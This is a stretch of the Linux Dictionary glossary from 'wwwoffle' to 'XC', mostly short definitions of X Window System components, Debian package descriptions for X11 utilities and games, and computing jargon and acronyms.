World Wide Web OFFline Explorer The wwwoffled program is a simple proxy server with special features for use with dial−up internet links. This means that it is possible to browse web pages and read them without having to remain connected. While Online − Caching of pages that are viewed for review later. − Conditional fetching to only get pages that have changed. − Modification of pages e.g. to remove the BLINK tag or popup windows. While Offline − The ability to follow links and mark other pages for download. − Browser or command line interface to select pages for downloading. − Optional info on bottom of pages showing cached date and allowing refresh. − Works with password protected pages and pages containing forms. − Cached pages can be searched with the ht://dig search engine. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wxwin2.2−headers
wxWindows Cross−platform C++ GUI toolkit (header files) wxWindows is a class library for C++ providing GUI (Graphical User Interface) and other facilities on more than one platform. Version 2.2 currently supports subsets of GTK+, Motif, and MS Windows. This package provides the common header files required to build applications using the wxWindows toolkit. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wyg
(Where's Your Grammar?) command line parser generator WYG (Where's Your Grammar?) is a tool that automates the use of lex, yacc, and getopt_long to create a front−end for your projects that can be configured from files or via the command line. For more information, see
http://www.larsshack.org/sw/wyg/. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WYSIAYG
/wiz'ee−ayg/ adj. Describes a user interface under which "What You See Is All You Get"; an unhappy variant of WYSIWYG. Visual, `point−and−shoot'−style interfaces tend to have easy initial learning curves, but also to lack depth; they often frustrate advanced users who would be better served by a command−style interface. When this happens, the frustrated user has a WYSIAYG problem. This term is most often used of editors, word processors, and document formatting programs. WYSIWYG `desktop publishing' programs, for example, are a clear win for creating small documents with lots of fonts and graphics in them, especially things like newsletters and presentation slides. When typesetting book−length manuscripts, on the other hand, scale changes the nature of the task; one quickly runs into WYSIAYG limitations, and the increased power and flexibility of a command−driven formatter like TeX or Unix's troff becomes not just desirable but a necessity. Compare YAFIYGI. From Jargon Dictionary
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WYSIWIS
What You See Is What I See From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WYSIWYG
'What You See Is What You Get'. This term refers to Graphical User Interfaces that present work in a format that is identical to that when printed out. From Faculty−of−Education

http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WYSIWYG

/wiz'ee−wig/ adj. [Traced to Flip Wilson's "Geraldine" character c.1970] Describes a user interface under which "What You See Is What You Get", as opposed to one that uses more−or−less obscure commands that do not result in immediate visual feedback. True WYSIWYG in environments supporting multiple fonts or graphics is a a rarely−attained ideal; there are variants of this term to express real−world manifestations including WYSIAWYG (What You See Is Almost What You Get) and WYSIMOLWYG (What You See Is More or Less What You Get). All these can be mildly derogatory, as they are often used to refer to dumbed−down user−friendly interfaces targeted at non−programmers; a hacker has no fear of obscure commands (compare WYSIAYG). On the other hand, EMACS was one of the very first WYSIWYG editors, replacing (actually, at first overlaying) the extremely obscure, command−based TECO. See also WIMP environment. [Oddly enough, WYSIWYG has already made it into the OED, in lower case yet. −−ESR] From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WYSIWYG

What You See Is What You Get (DTP) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wzip

Lossy compression and denoising The program wzip is a preprocessor for LOSSY data compression. A sequence of ascii floating−point numbers is transformed into a sequence of small integers ready for effective compression with e.g. gzip. The program can also be used for effective but time consuming denoising of measurement data. Wzip was originally written for the processing of EDX−linescans. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

X

X

a portable, network−transparent window system From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

X

See XFree86. http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

X /X/

n. 1. Used in various speech and writing contexts (also in lowercase) in roughly its algebraic sense of `unknown within a set defined by context' (compare N). Thus, the abbreviation 680x0 stands for 68000, 68010, 68020, 68030, or 68040, and 80x86 stands for 80186, 80286, 80386, 80486, 80586 or 80686 (note that a Unix hacker might write these as 680[0−6]0 and 80[1−6]86 or 680?0 and 80?86 respectively; see glob). 2. [after the name of an earlier window system called `W'] An over−sized, over−featured, over−engineered and incredibly over−complicated window system developed at MIT and widely used on Unix systems. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

X Extension

An X extension is program code that extends the X server by adding some significant new functionality missing from the core X protocol, such as direct support for 3−D graphics. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

X Image Extension

Provides a mechanism for graphical image management in the client/server environment of X11. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

X Toolkit

The X Toolkit (libXt.so) is a widget library that has always come free with X. It is crude−looking by today's standards. It doesn't feature 3D (shadowed) widgets, although it is comes free with X. [The excellent xfig application, an X Toolkit application, was in fact used to do the diagrams in this book.]Motif (libM.so) is a modern, full−featured widget library that had become an industry standard. Motif is, however, bloated, slow, and dependent on the X toolkit. It has always been an expensive proprietary library. Tk (tee−kay, libtk.so) is a library that is primarily used with the Tcl scripting language. It was probably the first platform−independent library (running on Windows, all UNIX variants, and the Apple Mac). It is, however, slow and has limited features (this is progressively changing). Both Tcl and Motif are not very elegant−looking. Around 1996, we saw a lot of widget libraries popping up with different licenses. V, xforms, and graphix come to mind. (This was when I started to write coolwidgets−−my own widget library.) There was no efficient, multipurpose, Free, and elegant−looking widget library for UNIX. This was a situation that sucked and was retarding Free software development. From Rute−Users−Guide http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

X Window System

A graphical windowing environment for UNIX. The underlying programming required by many user interfaces. (Also, see Desktop, Window Manager and XFree86.) From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

X Window System

an advanced, network transparent, windowing, graphical environment, developed at the Massachusetts Institute of Technology, and first released in 1984. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

X Window System (X)

An engine and interface for creating graphical desktops and applications. See XFree86. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

X Windows

A network windowing environment commony used on UNIX−based workstations. X Windows is a device−independent, application program interface (API) that can run under operatings systems ranging from disk operating systems to a mainframe operating system. It's used most frequently on UNIX machines. Unlike Microsoft Windows 95 and other PC−based windowing environments, X Windows is designed for use on a minicomputer−based network. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

X Windows
X Windows forms the basis for most GUIs on UNIX. It is based upon a network protocol such that a program can run on one computer but be displayed on another. Conceptually, it is a graphical version of Telnet. Key point: X Windows goes in the "wrong" direction. When you log into an X Windows host, the host opens a connection back to the display. As a consequence, it is very useful as a back−channel. In particular, the program xterm provides a raw command−prompt from which a hacker can interact with just as if they had telnetted to the machine. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

x−face−el
XFace utility for GNU Emacs. XFace utility for GNU Emacs. If use on XEmacs then x−face−el suggests MULE supported XEmacs. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

X−Modem
One of the earliest reliable file transfer protocols, Xmodem was written in 1977 by Ward Christiansen. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

x−pgp−sig−el
X−PGP−Sig mail and news header utility for Emacs. X−PGP−Sig header utility for Emacs. It can be insert/verify PGP signature in X−PGP−Sig: mail/news header. x−pgp−sig.el is for MH(mh−e, Mew and so on), Gnus, Semi−gnus, wl(Wanderlust) VM, cmail etc... (MUA on Emacs). But English Documents is not available. (only Japanese available) From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

x−symbol
WYSIWYG TeX mode for XEmacs This is a WYSIWYG TeX add−on for [X]Emacs21. It shows math symbols, sub/super−scripts via special fonts, and figures via imagemagick. Emacs21 support is still BETA. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

x−terminal−emulator
terminal emulator for X From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

x−ttcidfont−conf
Configure TrueType and CID fonts for X. This package configures TrueType fonts and CID fonts (as well as CMaps) for X. It generates .scale file and .alias file from TrueType and CID fonts registered to Defoma, and calls mkfontdir (and mkcfm). Both xtt and freetype backends which are used to handle TrueType fonts in X are supported. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

x−window−manager
Tab Window Manager for the X Window System From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

x−window−system
X Window System This metapackage provides substantially all the components of the X Window System as developed by the XFree86 Project, as well as a set of historically popular accessory programs. The development and debugging libraries are not provided by this metapackage. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

x−window−system−core
X Window System core components This metapackage provides the essential components for a standalone workstation running the X Window System. It provides the X libraries, an X server

(except on the S/390 architecture), a set of fonts, and a group of basic X clients and utilities. Higher level metapackages, such as those for desktop environments, can depend on this package and simplify their dependencies. It should be noted that a package providing x−window−manager and a package providing x−terminal−emulator should also be installed to ensure a comfortable X experience. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

X−Windows
: A network−based GUI designed for Unix systems, there are thousands of free applications available as source code and compiled executables for X−Windows compatible systems, including PC−based X−terminal emulators. From KADOWKEV
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

x10
: Operate X−10 electrical power control modules. X−10 modules are devices that plug into an electrical outlet and allow you to remotely control the power to a lamp or an appliance that is plugged into them. There are also X−10 modules that install in place of wall switches to control lights, and there's one that can be used to set back a thermostat. This program commands up to 256 X−10 modules via a CP−290 serial−interface controller plugged into any serial port of your system. You can use it to automate your home! It's also commonly used to provide control over computers and other devices that might need to be powered up or down via a timed command or remote control. The CP−290 controller stores 128 clock−driven events that it will execute when your computer is turned off, so you can even program your computer to turn itself on at a particular time. You can buy the modules and manual controllers in Radio Shack stores, but the CP−290 serial−interface controller used to command them using your Debian system is slightly harder to find. Instructions on where to order one are included in the documentation of this package. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

x10−automate
: GUI interface for x10 power line control utility Tk (wish) based GUI for the "x10" home−control program. With this program you can attach icons to your various X10 devices and see them displayed on a toolbar as well as a floor plan of your own. You can also read, write and edit programs to download to the CP−290 controller. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

X11
: Version 11 of the X Window System. From I−gloss
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

X11
: X window System version 11 (X−Windows) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

x11iraf
: X utilities for IRAF (Image Reduction Analysis Facility) Includes the xgterm, ximtool and xtapemon and associated utilities for the Image Reduction and Analysis Facility. WARNING: ximtool requires 8−bit mode or it will fail to start. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

x11perf
: X11 server performance test program From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

x11perfcomp
: X11 server performance comparison program From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

x2vnc
: A dual−screen hack − link a MS−Windows and X display This program merges the capabilities of x2x and vncviewer. It will allow a machine with an X display and a machine with a VNC server running on it's main screen to act as if they were two displays connected to one machine. When you

move your mouse pointer off the screen in a direction of your choosing, the pointer will appear on the other screen instead. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

x2x

Link two X displays together, simulating a multiheaded display x2x joins a pair of X displays together, as if they were a single multiheaded display. The pointer can be warped between displays, or, depending on how you start x2x, can slide from one display to the other when it runs off the edge of the screen. Keyboard focus also moves between displays in the way you'd expect, and the X selection propagates around. At least one of the displays involved (specifically, the one being controlled remotely) must support the XTEST extension. (The servers shipped by Debian support this.) x2x is useful when you have two displays on the same desk, as you can use a single keyboard and mouse to control both. If you want to propagate your selections between displays which are not sharing a desk, you might be more interested in the package propsel. Propsel does not link the displays' keyboard and mouse, which would be confusing in some cases, and can propagate between up to 8 displays, whereas x2x can handle only two at a time. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

X3D−PEX

X3D−PEX, sometimes called PEX−5, is a version of the Phigs 3D graphics library. See X extension. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

x86info

Display diagnostic information about i386 CPUs x86info displays diagnostic information about the CPUs fitted to i386 systems. This includes information on the CPU cache configuration, speed and supported features. Some features require the kernel cpuid driver to be available. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XA

eXtended Architecture (IBM, VM, ESA, VM/ESA, XC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xa+cv

XCIN Anywhere +CV wrapper for Chinese input in X applications XA+CV (XCIN Anywhere +CV) is a small X library wrapper for XCIN. Users may use this nifty tool to input and display Chinese (both Big5 and GB) characters in almost any X applications (e.g. Netscape 4.x), especially for those that do not support the XIM protocol. Authors: WEI Je−Ren <weijr@magic.math.ntu.edu.tw> CHENG Yuan−Chung <platin@ms31.hinet.net> From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XAA

Xfree86 Acceleration Architecture (X−Windows) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xabacus

Simulation of the ancient oriental calculator This is the non−motif version by David Bagley. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XACT

Xante's Accurate Calibration Technology (Xante), "X*ACT" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xae

XML Authoring Environment for Emacs The XAE is an add−on software package that enables you to use Emacs and your system's HTML browser to create, transform, and display XML documents. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xalan

XSLT processor. Command line utility to process XML files using an XSLT stylesheet. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xalex

cuddly teddy bear for your X Windows desktop. From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xalf

Provides feed back while loading X applications Xalf can reliably detect if newly mapped windows are belonging to a particular launched application. It does this by overloading the Xlib function XMapWindow with a version that signals the tracking xalf process. Xalf provides (currently) four different types as "indicators", described below. Invisible Window: Xalf creates an invisible window, to be used in conjunction with a standard task pager like Gnomes tasklist_applet or the KDE Taskbar. The name of the window is the application name within parenthesis. The small window icon (KWM_WIN_ICON) is set to a small hourglass. This indicator is default. Splash screen: An generic splashscreen is displayed during application launch. Mouse cursor change: Xalf adds an hourglass symbol to the mousecursor for the root window and the Gnome panel. Note that the cursor is not changed for the Gnome foot−menu windows. Animated star: An animated indicator resembling the look of that on SGI/Irix machines (a kind of yellow star blinking while loading a program). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xamixer

Graphical mixer for ALSA ALSA is an effort to create a modules sound system for Linux, while maintaining full compatibility with OSS/Lite. This package contains a graphical front−end (using the GTK+ toolkit) to the ALSA mixer device. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Xandros Linux

Xandros Desktop OS (formerly Corel's Debian−based distribution) is a desktop system designed to peacefully co−exist and inter−operate with Windows desktop and server systems. The first version of the Xandros Desktop OS was released October 22, 2002. From LWN Distribution List
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xaos

real−time interactive fractal zoomer XaoS is a real−time interactive fractal zoomer. It can display the fractals in X, svgalib, and even plain text mode. It displays the Mandelbrot set or one of 8 other fractals and allows you to zoom smoothly into the fractal. Various coloring modes are provided for both the points inside and outside the selected set. In addition, switching between Mandelbrot and Julia fractal types is provided. Other features include autopilot mode, palette changing, image saving, fractal inversion, and a built in fractal tutorial. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XAPIA

X.400 API Association (org., X.400, API) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xapm

X program to monitor APM battery status On laptop computers, the Advanced Power Management (APM) support provides access to battery status information and may help you to conserve battery power, depending on your laptop and the APM implementation. This package contains xapm(1), an X11 utility that displays the status of the battery. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xapple2

Apple][Emulator This is a fully−functional 100% Apple][emulator for X windows. It is partly written in 386 (AT&T) assembler and partly in C. You can switch diskettes using a diskette database through an intuitive interface. Furthermore, it is possible to trim the speed of the emulator and it runs in full speed (approximately) twice as fast as an standard Apple II+ on a 486DX−50. It uses the svgalib's key scancodes and implements the undocumented 6502 instructions (required by at least two games: Bug Attack and MS Pacman). Because the Apple ROMs are copyrighted, they are not included here. You will have to make copies of them from your old Apple computer. If you don't want to mess around with this, you can find a copy at:

http://geta.life.uiuc.edu/~badger/files/apple_II.rom http://geta.life.uiuc.edu/~badger/files/slot6.rom Transferring your old Apple disks is a bit of work, but you can save yourself the trouble of digging up your old masters by seeing if some kind soul has already done the work for you at: ftp://ftp.apple.asimov.net/pub/apple_II/images/ Remember, you can only use these ROMs and images _legally_ if you already own the original. Have fun! (Ahhh.... What memories!) From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xarchon

An X11 version of the game Archon. XArchon is a clone of the classic ARCHON game which was distributed by Electronic Arts around 1985. It pits the light side against the dark side in a battle for the control of a chess−like playing board. XArchon consists of a strategy mode, in which pieces are moved around the board, and an arcade mode, in which two pieces attempting to occupy the same square battle one another. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xarclock

Reversed xclock If clocks had been invented in Argentina (southern hemisphere), they would run counter−clockwise. Down there a sundial runs the other way around! The program is an extension of the standard X clock widget. New features are: Configurable direction of rotation and font support in analog mode. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xargs

build and execute command lines from standard input From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xasteroids

X−based asteroids−style arcade game Make big rocks into little ones. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xastir

X Amateur Station Tracking and Information Reporting Xastir is an APRS client for X. APRS is the Automatic Position Reporting System, a system where objects report their position (usually obtained from GPS) on the air; Xastir displays this information graphically. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xauth

X authority file utility From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xautolock

start a program if the X session is idle for some time Xautolock monitors input devices under the X Window System, and launches a program of your choice if there is no activity after a user−configurable period of time. You can use this to automatically start up a screen locker if you have left your computer unattended for some period of time. The program launched need not be a screen locker such as xlock. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xaw3d

cute 3D replacement for the X Athena widget set [libc5] Xaw3d is a set of 3−D widgets based on the R6.1 Athena Widget set, which adds a three dimensional appearance on some of the widgets of X11 applications dynamically linked against libXaw. This is the libc5 version of xaw3dg library, provided for compatibility with libc5−based programs linking to Xaw3d. This library doesn't contain 3D scrollbars ("arrowscrollbars"), either, please read /usr/share/doc/xaw3d/scrollbars for more information. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Xaw3d

Xaw3d is an enhanced version of the MIT Athena Widget set for the X Window System. Xaw3d adds a three−dimensional look to applications with minimal or no source code changes. You should install Xaw3d if you are using applications which incorporate the MIT Athena widget set and you want to incorporate a 3D look into those applications. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xaw3dg

Xaw3d widget set Xaw3d is a set of 3−D widgets based on the Athena Widget set, which adds a three dimensional appearance on some of the widgets of X11 applications linked with this library. Please note that this package no longer adds a three dimensional appearance on applications dynamically linked against libXaw. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xawtv

X11 TV application TV application for X11. Supports video4linux devices and the Xvideo extension. For Xvideo support xawtv must be compiled with the XFree86 4.0+ client libraries installed. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xbanner

Beautify your XDM login screen XBanner is a program designed to beautify your XDM login screen. It can draw text and render some effect on it, and it can fill the background with a nice pattern of colors. XBanner can also put an image on the screen for you, as well as do some minimal animation. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xbase−clients

miscellaneous X clients An X client is a program that interfaces with an X server (almost always via the X libraries), and thus with some input and output hardware like a graphics card, monitor, keyboard, and pointing device (such as a mouse). This package provides a miscellaneous assortment of several dozen X clients that ship with the X Window System, including: − startx and xinit, which initialize X sessions from the command line; − xauth, a tool for controlling access to the X session; − xedit, a text editor; − xbiff, a tool which tells you when you have new email; − xcalc, a scientific calculator desktop accessory; − xclipboard, a tool to manage cut−and−pasted text selections; − xcutsel, which exchanges selection and cut buffer contents; − xconsole, which monitors system console messages; − xditview, a viewer for ditroff output; − xeyes, a demo program in which a pair of eyes track the pointer; − xfd, a tool that displays all the glyphs in a given X font; − xfontsel, a tool for browsing and selecting X fonts; − xhost, a very dangerous program that you should never use; − xkill, a tool for terminating misbehaving X clients; − xload, a monitor for the system load average; − xlogo, a demo program that displays the X logo; − xmag, which magnifies parts of the X screen; − xman, a manual page browser; − xmessage, a tool to display message or dialog boxes; − xrefresh, a tool that forces a redraw of the X screen; − xsetroot, a tool for tailoring the appearance of the root window; − xvidtune, a tool for customizing X server modelines for your monitor; − xwd, a utility for taking window dumps ("screenshots") of the X session; − xwud, a viewer for window dumps created by xwd; − oclock and xclock, graphical clocks; − beforelight, a screen saver; − bitmap, a monochrome bitmap file editor; − bmtoa, a tool that converts a monochrome bitmap to ASCII text; − cxpm and sxpm, tools for checking and viewing X pixmap files; − dpsexec, a Display PostScript program that allows the user to interact directly with the PostScript interpreter through a command interface − dpsinfo, a utility for displaying information about the DPS extension present in an X server or provided by a client−side DPS agent − glxgears, a GLX demo that draws three rotating gears, and prints framerate information to standard output − iceauth, a tool for manipulating ICE protocol authorization records; − texteroids, a spinning text demo for the DPS extension − xftcache, a tool that creates an index of FreeType font files in a directory − xset, a tool for setting miscellaneous X server parameters; − xmodmap, a utility for modifying keymaps and pointer button mappings in X; − xsetmode and xsetpointer, tools for handling X Input devices; − setxkbmap, xkbbell, xkbcomp, xkbevd, xkbprint, xkbvleds, and xkbwatch, tools for managing the X keyboard extension (XKB); − xsm, a session manager for X sessions; − smproxy, a session manager proxy for X clients that do not use the X session manager protocol; − xgamma, a tool for querying and setting a monitor's gamma correction; − appres, editres, listres, viewres, and xrdb, which query and update the X resource database; − Xmark, x11perf, x11perfcomp, and xieperf, tools for benchmarking graphical operations under the X Window System; − fstobdf, which retrieves a font in BDF format from an X font server; − xcmsdb, a device color characteristic utility for the X Color Management System; − xstdcmap, a utility to selectively define standard colormap properties; – xev, an X event displayer; – xfindproxy, a tool to locate X proxy services; – xlsatoms, which lists interned atoms defined on an X server; – xlsclients, which lists client applications running on an X display; – xlsfonts, a server font list displayer; – xprop, a property displayer for X; – xdpyinfo, a display information utility for X; – xwininfo, a window information utility for X; – glxinfo, a GLX extension information utility for X; – xvinfo, an Xv extension information utility for X; – ico, an X graphics demo using an animated polyhedron; – dga, a demo program for the DGA extension; and – xgc, an (unfinished) X graphics demo program. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xbat

A classic shoot−em−up game for X11. Xbat closely resembles the classic arcade game Xevious. While navigating his Solvalou, the player must survive waves of enemy airships, occasionally meeting up with a "boss−ship" at the end of a level. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xbatt

Display battery status xbatt is an X11 client which displays the battery status of your notebook computer equipped with APM (Advanced Power Management) BIOS. The status displayed consists of the remaining battery life, the AC line status, and the charging status. This version of xbatt is dockable in WindowMaker's Docking bar. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xbattle

A concurrent multi−player battle strategy game. xbattle is a concurrent multi−player game which combines elements of strategy with arcade−like action to capture a wide range of military scenarios. Opponents play from separate displays, with commands being executed concurrently −− the players do not take "turns", but rather they all issue their commands simultaneously. There can be any number of players, with each player assigned to a specific team, indicated by marker colors. The game board is a matrix of cells (square, hexes, etc.) that can be occupied by colored troops, with the goal of the game being to eliminate the enemy from the board by attacking cells occupied by enemy troops. A wide variety of command line options (and previously configured game files) provide an abundance of different scenarios and gaming environments. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xbel

XML Bookmark Exchange Language The XML Bookmark Exchange Language (XBEL) is a rich interchange format for "bookmark" data as used by most web browsers. This package contains XBEL DTDs for 1.0 and 1.1 formats as well as documentation. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xbiff

mailbox flag for X From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xbill

Get rid of those Wingdows Viruses! Ever get the feeling that nothing is going right? You're a sysadmin, and someone's trying to destroy your computers. The little people running around the screen are trying to infect your computers with Wingdows [TM], a virus cleverly designed to resemble a popular operating system. Your objective is to click the mouse on them, ending their potential threat. If one of the people reaches a computer, it will attempt to replace your operating system with the virus it carries. It will then attempt to run off the screen with your vital software. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xbl

3−D tetris like game Xbl is a game involving dropping blocks like Xtetris but in 3 dimensions. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xblast

Multi player blast−the−others game inspired by Dynablaster Features: – 2 to 6 players – 1 or 2 players per X−Server – 95 different levels – Full color and monochrome support (including true color modes) − PoV−Ray rendered color graphics You have to install the xblast−sound package if you want sound support. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xbmbrowser

Browser for Pixmaps and Bitmaps A nice little utility to browse whole directories of X11 pixmaps or bitmaps. A configurable menu allows editing or display on the root window. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xboard

An X Window System Chess Board. XBoard is a graphical chessboard that can serve as a user interface for GNU Chess, for the Internet Chess Server, or for electronic mail correspondence chess. XBoard can also be used by itself. XBoard uses the Helvetica font (located in the xfonts−75dpi and xfonts−100dpi packages) by default. However, other fonts can be specified via a command line option or an X resource. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xboard

Xboard is an X Window System based graphical chessboard which can be used with the GNUchess and Crafty chess programs, with Internet Chess Servers (ICSs), with chess via email, or with your own saved games. From Redhat 8.0 RPM
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xbobo

cuddly teddy bear for your X Windows desktop. From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xboing

Blockout game for X XBoing is a blockout type game where you have a paddle which you control to bounce a ball around the game zone destroying blocks with a proton ball. Each block carries a different point value. The more blocks you destroy, the better your score. The person with the highest score wins. The arena is filled with blocks and other objects. You have a paddle that can move from left to right at the bottom of the arena. You control the paddle so that the proton ball bounces around blowing up blocks and that it does not go past the paddle and out the bottom, much like a pinball game. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xbomb

A 'minesweeper' game with squares, hexagons or triangles. A test of speed and logic to find the location of bombs hidden in a grid. Offers the standard square grid, plus hexagonal and triangular grids, each in 3 difficulty levels, all games played against the clock, with a high−score table for each combination. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xbox−linux

The Xbox Linux project aims to create a version of GNU/Linux that runs on the Microsoft Xbox gaming console. Initial version 0.1 was released August 17, 2002. Version 0.2 was released August 26, 2002. Version 11−01−2003 was released January 17, 2003. A 'special purpose/mini' distribution. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XBP

XBase Parts (Xbase/2, OS/2, DB) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xbreaky

a Breakout/Arkanoid clone for X The objective of this arcade game is to break all the bricks with a ball that bounces off the walls and a paddle that you can move. You start by firing out the ball from your paddle, which can be moved left and right parallel to the wall below it. The ball will move and hit the bricks located above, and when it hits a brick it will fall apart (i.e. dissappear), but the ball will bounce back to hit other bricks, sidewalls or the highest wall. If it falls down not hitting the paddle, you lose one life and have to start over. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xbrummi

cuddly teddy bear for your X Windows desktop. From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xbs

3−d models and movies of molecules xbs ball−and−sticks plotting program can create still and moving three dimensional models of molecules. X11 and PostScript output are available. Models can be rotated, scaled, etc. Various labeling, shading, lighting, coloring options are available. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xbubble

A nice Puzzle Bubble clone XBubble is a Puzzle Bubble / Bust−A−Move clone. Your goal is to remove all the bubbles from the game board. To do this you must aim and shoot bubbles. When you manage to match 3 or more bubbles of the same color, they burst and disappear. All bubbles which hang free now, will fall down and disappear, too. xbubble features single player mode, two player mode and player vs. computer (five difficulty levels of the AI) and has nice graphics, but no sound. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xbuffy

Monitor mailboxes and/or newsgroups Xbuffy is a program that displays how many unread mails you have in your different mailboxes. You can have different titles for the mailboxes, and define what shall happen when a new mail arrives. It can beep and invoke a shell command, for example. Xbuffy can also notify you by blinking a keyboard LED when new mail has arrived. If you press mouse button 1 on the title associated with a mail box, a list of From: and Subject: lines of the mails in the mail spool file is shown. If you press mouse button 2, an arbitrary command is executed. If you press mouse button 3, the LED blinking is stopped until another mail has arrived. Xbuffy can similarly watch newsgroups via NNTP. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XC

eXtended Configuration (IBM, ESA, VM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

